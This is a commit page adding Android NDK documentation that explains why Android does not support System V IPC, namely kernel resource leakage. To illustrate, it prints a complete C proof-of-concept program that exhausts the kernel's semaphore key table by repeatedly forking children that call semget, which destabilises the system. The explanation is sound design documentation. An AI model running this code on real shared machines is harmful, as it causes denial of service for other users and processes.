Add a bunch of documentation for the Android C library and the JNI interface to the NDK
This commit is contained in:
103
ndk/docs/system/libc/SYSV-IPC.TXT
Normal file
103
ndk/docs/system/libc/SYSV-IPC.TXT
Normal file
@@ -0,0 +1,103 @@
|
||||
Android does not support System V IPCs, i.e. the facilities provided by the
|
||||
following standard Posix headers:
|
||||
|
||||
<sys/sem.h> /* SysV semaphores */
|
||||
<sys/shm.h> /* SysV shared memory segments */
|
||||
<sys/msg.h> /* SysV message queues */
|
||||
<sys/ipc.h> /* General IPC definitions */
|
||||
|
||||
The reason for this is due to the fact that, by design, they lead to global
|
||||
kernel resource leakage.
|
||||
|
||||
For example, there is no way to automatically release a SysV semaphore
|
||||
allocated in the kernel when:
|
||||
|
||||
- a buggy or malicious process exits
|
||||
- a non-buggy and non-malicious process crashes or is explicitely killed.
|
||||
|
||||
Killing processes automatically to make room for new ones is an
|
||||
important part of Android's application lifecycle implementation. This means
|
||||
that, even assuming only non-buggy and non-malicious code, it is very likely
|
||||
that over time, the kernel global tables used to implement SysV IPCs will fill
|
||||
up.
|
||||
|
||||
At that point, strange failures are likely to occur and prevent programs that
|
||||
use them to run properly until the next reboot of the system.
|
||||
|
||||
And we can't ignore potential malicious applications. As a proof of concept
|
||||
here is a simple exploit that you can run on a standard Linux box today:
|
||||
|
||||
--------------- cut here ------------------------
|
||||
#include <sys/sem.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
|
||||
#define NUM_SEMAPHORES 32
|
||||
#define MAX_FAILS 10
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int counter = 0;
|
||||
int fails = 0;
|
||||
|
||||
if (counter == IPC_PRIVATE)
|
||||
counter++;
|
||||
|
||||
printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES);
|
||||
|
||||
for (;;) {
|
||||
int ret = fork();
|
||||
int status;
|
||||
|
||||
if (ret < 0) {
|
||||
perror("fork:");
|
||||
break;
|
||||
}
|
||||
if (ret == 0) {
|
||||
/* in the child */
|
||||
ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT );
|
||||
if (ret < 0) {
|
||||
return errno;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
else {
|
||||
/* in the parent */
|
||||
ret = wait(&status);
|
||||
if (ret < 0) {
|
||||
perror("waitpid:");
|
||||
break;
|
||||
}
|
||||
if (status != 0) {
|
||||
status = WEXITSTATUS(status);
|
||||
fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret,
|
||||
counter, status);
|
||||
if (++fails >= MAX_FAILS)
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
counter++;
|
||||
if ((counter % 1000) == 0) {
|
||||
printf("%d\n", counter);
|
||||
}
|
||||
if (counter == IPC_PRIVATE)
|
||||
counter++;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
--------------- cut here ------------------------
|
||||
|
||||
If you run it on a typical Linux distribution today, you'll discover that it
|
||||
will quickly fill up the kernel's table of unique key_t values, and that
|
||||
strange things will happen in some parts of the system, but not all.
|
||||
|
||||
(You can use the "ipcs -u" command to get a summary describing the kernel
|
||||
tables and their allocations)
|
||||
|
||||
For example, in our experience, anything program launched after that that
|
||||
calls strerror() will simply crash. The USB sub-system starts spoutting weird
|
||||
errors to the system console, etc...
|
||||
Reference in New Issue
Block a user